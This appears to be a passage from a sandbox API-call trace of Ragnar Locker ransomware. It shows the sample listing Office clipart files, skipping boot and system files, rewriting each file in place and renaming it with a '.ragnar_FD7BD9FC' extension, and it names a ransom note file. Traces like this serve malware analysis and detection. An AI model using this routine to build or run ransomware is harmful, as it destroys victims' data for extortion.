lstrcmpiW (lpString1="SO02055_.WMF", lpString2="desktop.ini") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="iconcache.db") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="ntldr") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="ntuser.dat") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="ntuser.ini") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="thumbs.db") returned -1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.138] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf")) returned 0x20 [0092.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.139] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19532) returned 1 [0092.139] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.139] GetProcessHeap () returned 0x580000 [0092.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.139] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.144] VirtualAlloc (lpAddress=0x0, dwSize=0x4c4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.144] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c4c, lpOverlapped=0x0) returned 1 [0092.158] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.158] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.158] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c4c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c4c, lpOverlapped=0x0) returned 1 [0092.159] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.159] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.159] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.159] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.159] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.159] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.159] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.159] GetProcessHeap () returned 0x580000 [0092.159] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.159] CloseHandle (hObject=0xf4) returned 1 [0092.160] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" [0092.160] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.ragnar_FD7BD9FC" [0092.160] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.160] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0092.160] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.160] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02067_.WMF" | out: lpString1="SO02067_.WMF") returned="SO02067_.WMF" [0092.160] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF") returned=".WMF" [0092.160] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.160] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="autorun.inf") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="boot.ini") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="bootfont.bin") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="bootsect.bak") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="bootmgr") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="bootmgr.efi") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="desktop.ini") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="iconcache.db") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="ntldr") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="ntuser.dat") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="ntuser.ini") returned 1 [0092.161] lstrcmpiW (lpString1="SO02067_.WMF", lpString2="thumbs.db") returned -1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.161] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf")) returned 0x20 [0092.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.162] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14378) returned 1 [0092.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3821, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.162] GetProcessHeap () returned 0x580000 [0092.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.162] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.163] VirtualAlloc (lpAddress=0x0, dwSize=0x382a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.163] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x382a, lpOverlapped=0x0) returned 1 [0092.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.164] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x382a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.164] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x382a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x382a, lpOverlapped=0x0) returned 1 [0092.164] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x382a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.164] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.165] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x382a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.165] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.165] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.165] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.165] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.165] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.165] GetProcessHeap () returned 0x580000 [0092.165] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.165] CloseHandle (hObject=0xf4) returned 1 [0092.165] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" [0092.165] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.ragnar_FD7BD9FC" [0092.165] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.166] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0092.166] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.166] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02094_.WMF" | out: lpString1="SO02094_.WMF") returned="SO02094_.WMF" [0092.166] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF") returned=".WMF" [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="autorun.inf") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="boot.ini") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="bootfont.bin") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="bootsect.bak") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="bootmgr") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="bootmgr.efi") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="desktop.ini") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="iconcache.db") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="ntldr") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="ntuser.dat") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="ntuser.ini") returned 1 [0092.166] lstrcmpiW (lpString1="SO02094_.WMF", lpString2="thumbs.db") returned -1 [0092.166] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.166] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.167] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.167] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.167] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.167] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.167] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf")) returned 0x20 [0092.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.167] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6986) returned 1 [0092.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.167] GetProcessHeap () returned 0x580000 [0092.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.167] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.169] VirtualAlloc (lpAddress=0x0, dwSize=0x1b4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.169] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b4a, lpOverlapped=0x0) returned 1 [0092.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.170] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b4a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b4a, lpOverlapped=0x0) returned 1 [0092.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.170] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.170] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.170] GetProcessHeap () returned 0x580000 [0092.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.170] CloseHandle (hObject=0xf4) returned 1 [0092.170] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" [0092.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.ragnar_FD7BD9FC" [0092.171] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0092.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.171] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02227_.WMF" | out: lpString1="SO02227_.WMF") returned="SO02227_.WMF" [0092.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF") returned=".WMF" [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="autorun.inf") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="boot.ini") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="bootfont.bin") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="bootsect.bak") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="bootmgr") returned 1 [0092.171] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="bootmgr.efi") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="desktop.ini") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="iconcache.db") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="ntldr") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="ntuser.dat") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="ntuser.ini") returned 1 [0092.172] lstrcmpiW (lpString1="SO02227_.WMF", lpString2="thumbs.db") returned -1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") 